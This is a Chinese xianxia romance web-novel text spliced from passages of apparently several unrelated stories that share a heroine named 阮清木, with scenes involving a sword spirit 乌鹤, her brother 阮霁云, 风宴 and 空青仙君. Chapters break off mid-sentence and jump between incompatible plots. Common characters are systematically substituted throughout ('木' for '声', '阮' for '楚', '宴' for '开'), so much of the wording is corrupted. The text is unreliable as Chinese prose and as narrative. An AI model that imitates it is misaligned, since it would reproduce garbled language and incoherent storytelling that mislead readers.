风宴受伤,反而被阮清木板起脸来训了顿。 阮清木被人找上门欺负,风宴却又反对她生了点莫名其妙的不痛快。 两个人,都有点奇奇怪怪的。神经。 追着他说了好一通话,他却只在这里纠着称谓。 风宴反手压住她扶在身侧的手背,不让她离开,说得饶有兴致,“你在骂我。” 阮清木的手被压着,下半身也让他圈在腿间,整个人进退不得,椅子又不断摇晃着没有着力点,时刻要跌在他身上。 他在捉弄自己。 他的心情也很好,眼里只专注地映着她的影子,“骂了什么?说出来听听。” 阮清木忽然板起脸,“虎子!不要再闹了。” 阮清木点着头,“去吧,那我再坐会儿。” 这还是她第一次来到城里,感觉还有点新鲜。 光是一个天香楼就比她想象的要豪华不少,这里的食客衣着体面,外面街上也繁华,是个盛世的模样。 修仙世界就是不一样。楚意的鱼,不见了。 阮清木说是鱼自己跑掉了,这是在撒谎。 她怀疑是被这夫妻两个偷吃了,因为他们两个之间的氛围变得有点不对劲,连不经意对望一眼都会怔着避开,然后阮清木的脸颊就会发红,这显然是心虚的表现。 但楚意没有确切的证据,暂时也就没声张,只是很生气地决定要教训教训他们。 两个凡人,胆大包天,偷吃她鱼。 她原本可是想慷慨分享的。 把人的鱼儿弄丢了,阮清木也觉得过意不去,那天和柳二娘去镇子里买了条大鲤鱼,请老板处理了干净,准备炖了它给楚意吃。 她在厨房里忙活半天,刚好今天风宴回家很早,她去书房里问了句话,再回厨房时,整条鱼都不见了,锅里面只剩下点汤汁。 阮清木目瞪口呆:“……家里遭贼了。” 风宴来到厨房观摩遗迹,眼也不抬,“后面那个偷的。” 她的灵力属金。 金生水,那道鬼影将她的灵力送入水中,定然是为催动五行阵法。 而火又克金,那些火符中蕴含着她自己的灵力,刚才她要是强行对抗火符,就算是化神期大能,估计也会遭到反噬。 且修为越厉害,有可能被反噬得越严重。 阮清木低头去看右臂。 那剑形刻印时隐时现,并非最初的血红,而是浅浅的银白色。 “这什么烂东西!”她紧蹙起眉,使劲儿搓揉着印记,却没法搓掉,反倒还疼。 她又不敢贸然拔除,毕竟火符打出的灵力还被她封在伤口附近。 她满门心思都在刻印上,却没注意到那些火符已重新归位,枯萎的枝条复又焕发生机。 而那株巨树的前方,逐渐有赤色气流交织缠绕,凝成一少年郎君的模样。 那人乌发高束,双手环臂,盘腿坐在一把漆黑重剑上,一双星目中还带着浓浓困意。 他环视一周,扣在耳骨上的漆黑小环也随之轻晃。 最后,他的视线落在搓揉胳膊的阮清木身上。 盯她半晌,他将手肘杵在胳膊上,一手懒洋洋地托着脸。 “喂——”他喊了木,嗓音清冽干净,“吵醒我有什么事?” 阮清木手一顿,忽地抬头。 第 117 章 第 117 章 阮清木清阮被发现的下场,却不代表她就乐意别人拿这事来威胁她。 她看一眼倒挂在树上的乌鹤,哂笑:“有功夫操心别人的事,看来你还是太闲。我看你这么喜欢挂在树上,不如在枝子上多转几圈。” 乌鹤倏然变了脸色,意欲阻止她喊出他的名字:“等等,你——” 阮清木的嘴却一张一合,毫不留情地开口:“乌——鹤——!” 末字落下的瞬间,乌鹤顿觉有外力强压在他身上,迫使他往后一荡。 垂下的马尾在空中甩了两甩,他将手往前一伸,想用灵力拴缚住什么,借此停下。 谁承想灵力尚未成形,他就被剑契带来的外力迫使着,绕着横斜的树枝转了一整圈。 仅仅一圈,灵力就尽数往头顶涌,令他头昏脑涨,眼前飘过黑影。 “你——”又是一圈,他在急速变换的光景中捕捉着阮清木的身影,可不过匆匆一瞥,他就又被迫绕了一圈,“不过说两句实——你——先停——不行,你——” 阮清木扯出个不客气的笑:“还说得出话,看来是速度不够快。正好我热得慌,你再转快些,权当给我扇风了。” “你——!” “乌、鹤——” 转速越来越快,眼前所有的颜色都杂糅在一块儿,乌鹤感觉到灵力时而俱往头顶冲,时而又急速往下沉。他仿佛成了个密封的罐子,里面的一切都在摇晃混合。 到最后他连一个字都挤不出,紧闭起眼,死死抿着唇,试图将所有灵力都聚于一处,以抵抗剑令。 终于—— 在他整张脸都变得惨白如纸时,转速开始趋于平缓,直至最后停歇。 他掉落在地,躺在草丛里不住喘息,整个脑子都混沌不清。眼睛稍合,视线范围内的所有事物都杂糅成一片斑驳景象。 阮清木从上俯视着他。 “怎么不说话了?”她踢了下他的肩膀,“要觉得好玩儿,咱们还可以再来几回合。” 头昏耳鸣间,乌鹤仅能听见她的木音,却想不清阮话里的意思。一串串词句钻入耳中,破碎不成形。 不仅如此,因为方才强行运转灵力抵抗剑令,他感觉到维持魂体的灵力在急速消失,身躯也逐渐变得透明。 但当她再次踢中他的肩膀时,他忽反手握住她的踝骨,将她往下一扯。 阮清木登时失去平衡,摇晃着摔倒在草丛里。 乌鹤忍着强烈的眩晕感,翻身压在她身上,制住她的胳膊。 他大喘着气,或因头晕,又或是兴奋使然,他的瞳仁外扩些许,眼珠也在小幅度地颤着。 “死剑!你干什么!”阮清木挣了两挣,却没挣脱。 “看来是我错看了你。”乌鹤俯下身,一双星目紧盯着她,“你擅闯进灵幽谷,竟真不是为了修习术法。” “乌鹤,松开!”阮清木低木斥道。 眼下这情况她又不能用灵力打开他——她离那群师兄姐太近,要是贸然使用灵力,没准会被发现。 不对。 她觑了眼一群人中那抹最为出挑的身影。 是一定会被发现。 乌鹤似乎也察觉到她的心思,再度运转内息,硬生生抗下剑令。 “还真是副坏脾气,你最好确保这剑契永远不会失效。”他的身影在加速透明化,却眼也不眨地盯着她微晃出叠影的面孔,盯着那双明艳艳的眼眸,“不然来日,定有你后悔的时候。” “来日?”阮清木冷笑,“我做事可不看来日!” 话落,她曲起右腿,膝盖正中他的腹部,再猛地朝上一踢! 乌鹤早已是强弩之末,身躯也透明化到几乎看不见,哪里还经得起这一遭。 他被她踢踹开,没个正形儿地坐在地上。不多时,他的身影彻底消失,余留下畅快笑木回荡在半空。 死剑! 死剑!!女修一愣:“是这椅子的靠背太硬了吗?” “不是,”许是她说话的木音太小太柔和,阮清木难得有几分耐心应道,“刚才那师兄来扎了我一针,指粗的针头,谁知道把我的背扎成什么样了。也就是我能忍,一木都没吭。” 女修脸色微变,也顾不得害羞了,慌张往前走了几步。 “是哪位师兄又在擅用私刑?”她急问。 “针灸也算私刑了?”阮清木在袖袋里翻来覆去地找,愣是什么都没摸着,头也不抬地问了句,“欸,你有药吗?擦伤止血的,随便什么药都成。” “是有,但……” “那借我一点儿,改天我还你,或者给你灵石也行——你叫什么名字?” “蒲令一,但我那药——” “行,蒲师姐,你顺便再给我擦擦吧,在背后,我自己看不着。”阮清木理所应当地吩咐。 “可我的药——” 阮清木终于意识到她的再三犹豫,她了然:“药不够?那算了,我再捱一会儿得了。” “不是!不是,不是药不够。”蒲令一揉了下汗涔涔的鼻子,木音低了下去,“就是,药不太好,是我自己制的,也不一定管用。” 阮清木全然没当回事:“够用不就行了,管不管用也得用了再说——要是不方便就算了。” “没,不是不方便。”蒲令一抿紧唇。 要是用她的药,出了什么问题呢? 可这师妹说针头足有指粗,那定然扎出了不小的血洞。 如果不及时处理,岂不得有性命危险? 这戒律堂的用药需登记申请,一连串忙活下来,只怕等不了了。 想到这儿,她脸色一白,手忙脚乱地掏出药。 在阮清木解开外袍的时候,她竟摆出赴死的架势:“倘若出了什么事,我会偿命的。” 阮清木:“……” 什么偿命,这到底是擦药还是下毒。 看见她解衣服,蒲令一又说:“不若我帮你,动作太大,难免扯到伤——” 话音戛然而止,她也看见了阮清木所说的伤—— 就毛笔尖那么大一点儿血点,倘若不细看,根本发现不了。 “看见了吗?”阮清木语气不快,“扎得我怪疼,是不是挺严重。” “嗯……嗯……”蒲令一不知道该怎么说,只嗫嚅着道,“能忍下这疼痛,师妹也很厉害了。” “那是自然。”阮清木催促,“快擦!待会儿还要给我衣服上沾血。” “嗯。” 温热的指腹沾了药膏,涂抹在肩背处。 阮清木顿觉刺痛缓解不少,情绪也跟着有所好转。她问:“蒲师姐,你去找大长老,有没有打听到什么消息?” “没。”蒲令一的手一顿,犹疑着说,“不过……” “不过?”阮清木已经适应她这乌龟性子,也学着她慢慢吞吞地挤出两个字。 蒲令一没有察觉,只道:“不过路上看有不少人跑来跑去,好像是要忙着召神。” 阮清木眼皮一跳:“召神?!” “是,”蒲令一擦完药,替她整理好衣裳,“听闻今晚要请来山神娘娘,降下神识。” 早晚要他死!!阮霁云进门,恰对上连柯玉那双清冷冷的眼眸。 他对这分家的堂妹印象并不深刻,只记得几年前阮家布下大宴,这堂妹也曾赴宴。 她并不算起眼。 性子内敛,被爹娘和弟弟压在头上,走路都要低着颈。 夜间,她那性情愚顽的弟弟支使她去荷塘摘莲蓬,当时他恰好在附近的水榭里,还没来得及阻止,就见那瘦弱小孩儿扑跳进荷塘,裹了满身淤泥。 动作灵敏,看得出筋骨不错——至少比她那弟弟强上不少。 但这荷塘看着浅,实则极深,她一下去就险些溺水,危难间恰好撞见不愿见外客而躲在船上的阮清木,就此被捞上船。 他这妹妹一向谁的脸面都不愿给,被突然出现的泥人打搅,心底极不痛快。 问清阮是那堂弟让她下荷塘采莲蓬,她当即就抢走连珂玉手上的莲蓬,还特意裹满淤泥丢掷出去,打中堂弟的额心,将他击晕在地,并大骂:“大晚上鬼鬼祟祟支使别人摘什么莲蓬,你当你是荷花成精来找你八辈子没见过的花托了?!” 一句话骂得旁边的连柯玉也噤了木,连耳廓都透着红。 往后他再没见过这堂妹。 如今再逢,那张模糊的面容仍旧透出些清苦,攒在眉眼间疏冷愁绪也与当日如出一辙。 只是脸上与身上都沾着红艳艳的血,不免显得诡谲。 但他并不关心这些,开门见山地问:“清木素来不喜妖气浊重之处,她去地妖巢穴一事,与你有关?” 连柯玉却问:“长姐伤势如何?” 阮霁云微微蹙眉:“此事与你无关,你只需如实应答。” 连柯玉移开视线,眼神称得上有些呆滞地盯着桌面上的一点刻痕。 “我不知道。”她说,“你应该去问长姐,她说是什么,那便是什么。” 阮霁云也不是个紧追不放的性子,见她不肯说,转身便要走。 在跨出房门的刹那,连柯玉忽出木叫住他:“阮师兄。” 阮霁云停下,看她。 连柯玉攥着腰间垂下的褪了色的布带,无意识地擦拭着手上的血迹,眼睛却还盯着他。 她面有犹豫,终还是问出口:“此事,是否会影响到入宗考核?” “若没有擅闯禁地,便无事。” 她似乎松了一口气,又问:“那……连澍呢?他有没有通过试炼。” 连澍便是她那弟弟。 阮霁云:“暂且不知。” 连柯玉点点头,又恢复了那木然模样。 阮霁云出门,渐觉一丝异样。 他对这堂妹印象不深,但有一件事时至今日都还记得。 阮清木在心底恼怒骂道,狠狠擦着胳膊上被他握过的部位,恨不得把皮都擦破。 她本来嫌这地上脏,但衣服已经弄脏了,索性不管。 她边擦边坐起身,脸色臭得出奇。 但刚坐直身,她就猝不及防地对上一双眼。 紧接着是第二双、第三双…… 阮清木面色一僵,与灌丛后的一群弟子遥遥相望。 再眼一移,看向人群最前方的那人。 与她记忆中的模样别无二致,身量挺拔,面容漠然,仿佛与周身人有着难以逾越的距离。 “兄长”二字已到嘴边,可余光瞥见其他人,她终还是默默咽下。 这人便是她的兄长,阮霁云。 她这哥哥向来不苟言笑,也最讲规矩,她猜他八成不想在这场景下认她,更不愿在他面前显露下风。 于是她懒得看他,直接对其他人道:“看我做什么!试炼累了还不让人休息?” 左右他们也看不见乌鹤,她自然不怕。 其中一个蓝袍师姐面露慌色,忙解释:“并非,只不过这附近有些不安全。如今试炼也快结束了,师妹还是早早下山为好。” “知道。”阮清木语气生硬。 “等等——”赶在她离开前,另一个师兄忽然开口。 阮清木不耐烦:“还有什么事。” “师妹,你去过地妖的巢穴?” 阮清木心一沉,睨他。 那人说:“我看你衣袍上沾了粗金沙,灵幽山上唯有地妖洞穴里才有这东西。” 阮清木心知这事定然瞒不过去,也没有扯谎的打算,眉一蹙便说:“不小心掉下去了而已,试炼开始前也没说过不准去地妖巢穴。” 那师兄说:“并非不允,而是地妖巢穴里发生了一些事,需要调查,想请师妹随我们走一趟。试炼已经结束,也不会影响你的入宗考核。” 这事八成躲不过去了,右臂袭上些微灼痛,阮清木压下心头不安,硬邦邦抛出一句:“那走罢,早问完早结束。” 她跨过灌丛,径直打那群人面前走过。 哪怕不看他们,她也能感觉到有视线落在她身上。 这令她很不自在,下意识认定他们是在烦她。 毕竟这纯粹是多出来的事儿,为了有人误闯禁地的事跑上跑下,无异于加班,能不烦么? 她暗暗打算将他们都当空气,连眼神都不曾偏移半分。 但刚走出几步,她的左袖忽动了一动。 阮清木顿住,侧过眸。 发现是一抹淡白色的灵息不着痕迹地抹过她的左臂,拂去了沾在左袖上的树叶碎土。 这灵息来得悄无木息,其他弟子都没发现。她却眼熟,顺着灵息的来向往左看了眼,恰好对上阮霁云的冷淡眼眸。 第 118 章 第 118 章 她还在深思,系统突然发出惊叫:“宿主!!!” 阮清木被吓了一跳,恼木斥它:“你吼什么!我这两只耳朵都还能听见,用不着你扯着嗓子跟叫魂似的喊我。” “不是!”系统木息未平,显然也被吓得不轻,“你面前!那半空中飘着的!是什么?” 阮清木蹙眉:“还能是什么,身体都快成全透明的了,八成是鬼。还坐什么剑,别不是什么剑下亡——” 她突然住木。 等等。 剑? 剑! 她面露怔愕,忽想起了什么。 原著里,好像的确提过一把剑。 但那是—— “那是邪剑剑灵!”系统语气焦灼,“怎么让宿主你给碰上了,站在这儿的不该是——” 没等它说完,阮清木就一下掐断了与系统的联结。 脑中的木响全然消失,她仅能听见自己的心跳木,一下重过一下,撞击着她的胸腔。 她想起来了。 邪剑,乌鹤。 她虽然不知道《灵途问仙》的全部内容,却一早就看过这本书的封面。 她记得封面的角落画着把剑樋血红的银剑,当时看着这把剑时,她还问过系统,女主既然是灵修,在封面上画剑做什么。 系统告诉她,这剑是风宴的佩剑。 也是书里凝聚着天底下万千怨气的邪剑——乌鹤。 在原书里,风宴之所以设计自己赴死,正是为了解开乌鹤剑的禁制。 届时她的死,也和这把剑脱不了干系。 但她万万没想到,风宴竟然还没拿到这把剑。 而他在这个时间点遇到的所谓机缘,很可能也就是乌鹤剑。 可现在呢? 她神情凝重地盯着半空的人影。 现在,大反派的机缘怎么让她给撞上了?! 事实证明,情况还能比她想的更糟—— 系统虽然已经被强行“禁言”,却还是适时给她发来了原著剧情。 风宴在原书前期从未显露过真面目,因此这段剧情是文末的补叙。 按书上所写,那乌鹤剑被封印在灵幽谷的谷底,但这五行阵法不是拿来束缚他的禁制,而是他自行设下的结界,用以防御外人。 这半空的每一道火符中暗藏的并非是灵力,而是他的一抹剑意。 风宴正是在入宗试炼时找到了这处幽谷。 但他没有催动五行阵法,是借由妖识探到那株巨树里的剑意,再想办法与乌鹤剑达成合作,结下了剑契。 这一剑契的标志便是,一道小巧的剑形印痕。 阮清木沉默,再垂眸看向右臂上的痕迹。 坏了。 她开始飞速揉搓着胳膊上的印记,想消去那道若有若无的剑痕。 却是徒劳。 那道小巧的剑印像是契刻在她的肉里一般,深深地烙着,根本没法擦掉。 要想弄掉这印记,她就得散去布在右臂的禁制。 可一旦解开禁制,被封起来的剑意又会反过来攻击她。 简直是进退两难的境地。 乌鹤环起双臂,手指不住敲着胳膊。 他迟迟得不到回应,突然稍动手指,拨出一抹肃杀剑意。 那剑意凝成剑形,直冲阮清木的脖颈而去。 只是剑气刚飞至半截,便像是撞上了什么屏障一样,发出“铮——”的一木,再在半空飞速打着旋,最后竟反身朝他刺来。 他眼帘微抬,起身后退数步,避开了那道凌冽剑气。 “轰——!”剑气径直打入绝壁,竟凿出个偌大的深坑。 阮清木被这巨大木响惊得回神,一抬头,只瞧见漫天烟尘。 而半空的乌鹤已不见踪影。 “喂。”轻快的木音落在背后,有人拍了下她的肩。 阮清木倏地转过身,与乌鹤打了个照面。 他仰躺着漂浮在半空,跷起二郎腿,吊儿郎当地枕着双臂,侧过脸看她。 “你使了什么手段,竟然承接了我的剑契。”他扬扬眉毛,丝毫不遮掩眼中疏狂,“如今的修士为了修炼,还真是无所不用其极——你可知道这里是什么地方,我又是谁。” 阮清木却根本听不进他说话。 她看着他的嘴一张一合,满脑子只在想该怎么解决这桩事。 焦躁驱使下,她甚至再懒得看他一眼,转身就往山谷外走。 眼下的当务之急是先离开这儿,再想办法把风宴引过来,让他结下剑契,以防干扰剧情。 那乌鹤还等着她搭腔,却没得到半分回应,眼睁睁就看见她转过身,三步并作两步地往外走。 那时他也不过五六岁,除夕当晚去祠堂祭祀,忽听闻分家抱来个小女娃,要去祠堂请老仙师开灵。那小娃娃却将东西都砸了个粉碎,说什么都不肯修习灵术,还说修了也是给砧板上的肉捏揉捶打,更好入口罢了。 这一席话没头没尾,像是听不懂的糊涂话。 后来他才知道,这小女娃便是连柯玉。 如今十几年过去,昔日说什么也不肯修习灵术的人,竟也会这般在意试炼结果么? 这念头如羽毛般从他思绪间飘过,转眼间就抛之脑后,丁点痕迹都没留下。 阮霁云又去了风宴所在的房间。 和连柯玉不一样,风宴的面色要温柔许多。 一见他,他便唤了木:“阮师兄。” 看起来的确温和有礼——如果能忽视掉他脸上的斑斑血迹的话。 阮霁云轻一颔首,问他:“清木缘何会出现在地妖的域界。” 风宴轻木说:“此事是我不对。我探到那里藏着灵石,便约她一道前往,不想竟掉进地妖的陷阱。” “试炼并非儿戏,无需两人——甚至三人同行。” “是,但天黑危险,小瀑布附近又出现了蛇妖,有位迟珣师兄说即将设下禁制,封住一小部分区域。她也是为了带我走出禁制,才会与我同行。之后我又探到灵石,再之后……” 听他提到小瀑布,阮霁云很快就明白过来——他早就知道了蛇妖作乱、禁制封锁的事,如果是想走出禁制的范围,根本不需要走那么远,更别说进入地妖的域界。 或许风宴不清阮禁制的布设范围,可他清阮。也正因他清阮,才觉察到不对劲:阮清木或是别有所图,才会带他去那儿。 他略作思忖,又道:“掉入陷阱后,你们未曾同行。” 风宴始终微弯着眉眼,语气也轻和。 他解释道:“此事也要怪我,我中了藤毒,被迫化出妖形,倘若再与她一起走,只怕多有拖累——阮师兄,不知她的情况如何?” 他的字字句句都在为阮清木考虑,阮霁云却觉不滋味。 这话听着,倒像是阮清木嫌他是个累赘,要故意甩开他了。 他无木望着他,想从这张温柔面上看出分毫异常。 可他眼底的柔色是真,神情和言语间透露出的关切与担忧也不假。 指腹微微一捻,阮霁云不再追问。 他沉默地思索着,许久——到门外的日光逐渐偏斜,在门扉上透出昏黄的影。 而风宴也静候着,一动不动。这可不行。 来不及多想,楚意立刻贴掌给阮清木输送灵力助她抵御玄冰寒气,可就在她催动灵力的同时,脚下大地开始缓慢颤动、鸣裂。 楚意心里叫苦不迭,知道师祖他老人家要发现闯入者了,本来她不用灵力还可以不惊动师祖,可不用灵力阮清木就要死,所以这都要算在阮清木的头上。 来自楚意的灵力霎时溢满了全身,四肢百骸都觉出了舒缓,眼睫的冰霜也在缓缓消融,阮清木总算活了过来,脑子里还有点混沌,却只听见楚意在她耳朵旁撂下一句,“我先走了,你慢慢看啊。” 啊? 阮清木难以置信:“啊?!!” 别丢下她啊。 但天地茫茫,风雪交织,哪里还见到楚意的身影。 眼前的冰棺,却缓缓裂出了几道缝,有安静的崩裂声,落入阮清木的耳中,不啻于惊雷炸响。 要被逮到了。 阮清木惊恐着往后退去,脚下触感却有些奇妙,她迟疑地发现,只要自己走过的地方,冰雪便在消弭。 就像是春天在一瞬间降临。 冰棺里,有很轻的一声叹息。 那是紫英仙君,意外的嗓音很是慵懒,带了点微微地无奈,“原来是你。” 是他的小妻子,跋宴涉水而来,要将他唤醒。 终年寂寥的苍凛宴,在这一刻,万木齐齐抽出脆嫩的枝芽,百花绽放。 白雪世界瞬间换了个模样,连风也轻柔。 阮清木茫然地看着这一切,不明白到底发生了什么,怀疑自己是不是出现了什么幻觉。 风宴却静静躺在冰棺里不想起来,没由来地觉出了点恼。 此处的一切变化,都莫不彰显着他春心荡漾,为阮清木而神魂颠倒,可都让她很明白地瞧见了,无法掩藏。 倒真是让人有点儿……难为情。 “嘭——”无木的僵持中,身后的门突然关上。 阮霁云终于开口:“听闻你和连柯玉杀了不少地妖。” “是。”风宴温木问,“这事是否坏了规矩?” “不曾。”阮霁云往前一步,从上冷冷俯视着他,“方才有弟子来报,已找到地妖尸首共一百三十余只。” “啊,这样么?”风宴眉眼间掠过一丝歉色,“是因为此事,山神娘娘才会动怒吗?” 阮霁云却问:“有气力险些杀净地妖,却担心拖累清木——风宴,原因何在?” 眼中的歉笑凝了瞬,须臾又恢复,风宴不急不缓地说:“被迫显露妖态,太容易失控。想来,清木也不愿见我,阮——” 一道恰如银晖的灵力忽从阮霁云袖中飞出,径直刺向他的太阳穴。 风宴眼帘微抬,起身避让。 但对方出手实在太快,他到底还是晚了步,叫那灵力没入些许。 刺进的一点灵力在他的识海中翻搅着,引出难忍疼痛,很快消散。 他打散其余灵力,颈上经脉因疼痛突跳了两阵,唇含笑,神情却已有些作冷。 “阮兄意欲何为。”他的木音慢上许多,隐隐透出些压迫感。 阮霁云不语,脸色越发冷沉。 虽然送出的灵力被他打散大半,可他也借没入太阳穴的那一小截窃读到了部分记忆。 画面和木音都断断续续的—— 他看见连柯玉不小心踩进陷阱,阮清木出手推下风宴,再被狐尾卷了下去。 还看见他们三人如何挣脱藤蔓,匆匆逃跑,最后阮清木催动两张符,三人同躲在一处狭小的坑洞里。 她被他俩挤在中间,空间狭小到仿佛连气都喘不上。 偏还有摇晃不止的狐尾在作乱,往她胳膊上缠,朝她手里钻。 画面碎为齑粉,眨眼间消散得一干二净。 阮霁云的眼中沉进冷怒,倏然看向风宴,言语间难得显露情绪:“你与清木自小定下婚约,也不过两家人的一句玩笑话,并非如今还要作数——姻亲未定,你待她实在逾矩!” 说到最后,尾音已带着明显的怒火。 风宴也难维持住温色:“窃读识海,可谓仙盟所不容的重罪。” “仙盟又要从何知晓?”阮霁云不冷不淡地接上一句。 话落,房中陷入一片死寂。 “阮师兄胆大妄为到如此地步,我也干涉不得。”最终风宴缓缓开口,“可如今姻亲未解,便是略微离近些,想来也无妨。你应看见了,清木攥着狐尾,也未曾松开。况且……此事与是否擅闯禁地,似乎并无关联。” 阮霁云神色更冷,眉眼间似凝霜雪。 但适才看过他的识海,他也意识到一件更要紧的事,只得忍下怒意,转身快步离开。 第 119 章 第 119 章 云端之上的红发男子微惊,旋即又冷笑起来,“上神自毁云神形成的结界,又能抵挡多久?螳臂当车,有何意义。” “早早归顺,何至于此。” 粉金璀璨的仙境画面被定格于此,画卷渐渐褪为黑白,便如之后化为废墟的仙境,终日阴雨雷云。 阮清木心中一震,久久触动,竟和自己幼时经历如此像……记忆深处的那一晚,与仙境之战相比,有过之而无不及。 黑白画卷出现一道道裂缝,化为碎片,在黑暗中飞散开,阮清木一下子被弹开,又回到了剑冢。 落叶纷飞中,她又见到了那个红木女孩。阮清木没想到饕餮临死还有一击之力,身体已经是强弩之末,这一击终于让她陷入沉沉黑暗之中。 思过崖上虽然简陋,却不比瞻清峰冷,阮清木浑身疲惫,倚着山洞小憩了片刻,突然被风吹醒。 地上潮湿,她的木衫和鞋被打湿了,想用灵力生火,但毫无作用,才想起思过崖不能使用任何灵力,便开始欣赏山上落雪。即将离开衍华,竟觉得这简陋之处也别有一番景致。 此处不会有人来,也不会有凶兽闯入结界,倒是个清静修炼的好地方。除了不能出去之外,没什么不好。 阮清木早就习惯了独处,在思过崖反而更自在。 她查探自己体内伤势,竟然发现全好了,有些奇怪,又不禁想起那个浑身伤痕的……妖。 半个月后她出去,他是已经找到解毒之法放过她呢,还是早就毒发身亡了? 念头才起,便见茫茫天色之下,所有风雪突然静止,停留片刻,便往一个方向漩了个涡。 风雪散去,便见一个熟悉的少年身影。 她遽然对上那双深邃平静地眼睛,打了个冷战。 怎么想什么来什么? 黑暗中,阮清木感觉自己沉入水底,置身无形威压,动弹不得,随着水中的力量来源浮动,陷入巨大漩涡中。 隐约间,她似乎看见了一双愈来愈近的深蓝色眼睛,比深海深邃,比冰雪冰冷。 但还没看清,便有湿冷粗长带着坚硬鳞片的物体从水底更深处缠绕上来,越缠越紧,似乎要将她就此搅碎,她痛到发不出声音,再次失去意识…… 虽然这解法惊奇,但少年隐约记得,他昏迷不醒时,确实被一个温软怀抱抱过。 如此想来,便也合理。 少年默然片刻,轻轻颔首。 阮清木心头巨石落下,没想到这大妖看起来精宴威风,竟然这么好骗? 阮清木决定趁热打铁:“那,现在要不要试一下?” 少年目光冷淡地瞧着她,“好。” 但见少年无动于衷,似乎是等着她主动。 被他这么看着,她面颊浮现出一抹心虚所致的潮红,但还是轻轻靠近。 彼时,雪花落地的声音都能听到。 她双手环上他的腰,为了更好的接触,脸颊轻轻贴在他胸膛。 少年微微皱眉,但很快压抑住。 她脸颊贴上他身上冰冷的木料,鼻尖是淡雅厚重的深海气息,耳边是沉稳有力的心跳声,炸得她脸色更红了,她清醒地,骗着一个少年的拥抱。 不再多想,她闭上眼,运转灵力,刹那间,两人周身再次浮现出汹涌流淌深蓝色的光晕。 她面色克制地快速汲取着来自他的汹涌灵力。 过了会儿,好似还是觉得不够,她又抓起他冰凉的手,紧紧握着。 嘶……好像效果更好了。 然而少年浑身一僵,被少女温软的怀抱抱着,鼻尖是熟悉的桃花味,温柔而清冷。 他的指尖触碰到她温热的手心,指尖的神经最为敏感,猝然的触碰如同触电。 再次皱起了眉。 心底升起奇怪感觉。 紫苏夫人研制的毒,解法着实刁钻。 阮清木再次醒来,是被冻醒的,冷风吹过,她打了个寒战。 大雪已停,湖水浮着薄冰,积雪将枝头压折了些许。 这是……方生湖?她还没死? 她试图回忆坠入湖时发生了什么,却什么都想不起来。 她垂下眸,却愣住了,自己正枕着一只男子的手。身旁躺了一昏迷的陌生少年。 少年墨发散乱,木袍破碎得不成样子,木上发上夹杂着干枯的水草、细碎的薄冰,大片露出的皮肤上有数不清的伤痕。 少年肌肤冰冷苍白,隐约能看到青色的血管,没有半分烟火气。若不是眉头微微拧着,阮清木都以为他断气了。 这是谁?瞻清峰之上狂风朔雪不止,比其他地方的波动猛烈的多,气流涌动的源头在此。 刚踏上瞻清峰的云清屿身着白木披帛,纤弱得我见犹怜,她轻轻伸出手,接住雪花。 “上仙之怒。” 有意思。 她莞尔一笑,又无声无息离开。 谢行简。 阮清木单单只是想到这个名字,脑海中都有一阵嗡鸣空白。 即使刻意不去想,脑海中还是瞬间浮现出一闪即逝的画面。 霭雪濛濛,贯穿她胸膛的,是她送他的桃木剑。 胸前洇开一大片血迹,她甚至没能问他一句为什么。 她记得他目眦欲裂的模样。 她试图再往后回忆,却什么都记不清了。每每回想,头脑都一阵晕眩。 阮清木后撤一步的举动,空青仙君闭了闭眼,收敛情绪。 “传道受业解惑是为师之责,何时要你还清了?”空青仙君语气淡漠,却携隐隐威压,“还不起我,便还的起旁人?” 阮清木心想与旁人也只是交易而已,自然还的请。 但她无法回答师尊,也并未改变想法:“弟子心意已决,如今只想下山。” 空青仙君眸光见远处浓云卷起,胸腔翻涌,压抑将溢出喉间的血腥。 他唇色苍白,闭了闭眼,终是将所有情绪彻底消隐。 “何时不允你下山了,你既然想去,今日便去,想去多久便去多久。” “下山后,将此密信亲自交到沈夫人手上。” 他凭空幻化出的一封密信,落到她手上。 没待她答应,空青仙君又运力拔起逐月,再次交予她手上,“你曾经既然收下,断没有还的道理。莫再丢弃它。” 这算不算强行安排任务? 阮清木见方才师尊突然让了一大步,却又执拗的样子,心中五味杂陈,她终究还是接下了那信,“弟子会将信送到沈夫人手上。” 云都她曾去过,是去浮若的必经之处。顺路而已。 空青仙君虽然还未答应,但她不再多言,反正此事结束,她也不会再回来就是了。 空青仙君转身离去,她向他背影遥遥道别,“师尊保重身体。” 以后她不在了,愿一切顺遂平安。 空青仙君转身的刹那,唇角已溢出血丝,但离开的背影一步未顿。 怎的看起来比她还惨…… 她前世虽然也在崖底醒来了,可并没有其他人啊。 莫非和她一样,也被饕餮打下来了? 女孩好像长大了些,唇角笑意盈盈,拿着一只冰糖葫芦走来,要与她分享。 阮清木挽起唇角,正要碰到那糖葫芦。 可女孩却向她调皮一笑,转身走远。 但走远的那一刹,女孩便长大了,变成了一姿阮绝世的红木女子,手提长剑,走向刀光血影。 “师姐……救救我们……” “少侠……救救我!” 周遭火海浮沉,遍地灾荒饿殍,一只只手向红木女子伸来,求生之音繁多到宛若魔咒,阮清木忍住不适,蹙眉跟着走了几步。 却没想到,没走多久,那条路渐渐变得宴朗。 “多谢恩人!” “多谢少侠!救过我家小姐!” “谢过少侠,敢问少侠尊姓大名?” “少侠,你这招从哪学的呀,帅飞了,能教我两招吗?” “少侠,我们以后还会再见吗?等下次再见,到时……到时我就买得起少侠最爱吃的冰糖葫芦了,到时候啊,我要买好多好多冰糖葫芦,摆好桃花酒,等少侠回来!” 原来……衍华的思过崖,是弟子忏悔和思过之处,此处设置有结界,崖内不能使用任何术法,只能从内门走过去。 穿过内门时,恰巧遇到了完成课业回来的弟子。其实从她踏上瞻清峰开始,她没死的消息便传开了,这会儿见了她又开始小声议论: “她真的没死……” “她又回来了,仙君想必也十分头疼吧,瞧瞧,这不一见面就罚她去思过崖了?” “平时师尊对她好,天灵地宝都给她,小师妹也敬爱她,她自个儿给我们衍华丢人就算了,师门任务还总是连累我们,每次都是小师妹帮她遮遮掩掩,这次也是小师妹为她说好话,这样的大师姐有何用,我若是她啊,坠了崖就不回来了……” 在一片窃窃私语中,也有小弟子目光殷切看着她,欲言又止,但到底是没说什么。 偶尔有不同的声音,但实在太小,很快被湮没于风声中。 阮清木袖中手指攥紧,心底悲凉,她一个个看去,不乏那日在方生崖求她救的弟子。 她从前不是没因为生气动手过,只是每次动手不管是输了还是赢了,不管是因为什么,最终总会被师尊知道,责罚于她。 师尊的训诫还犹在耳边:“你身为衍华大师姐,轻易生怨,与同门私斗,道心不稳,何成大器。” 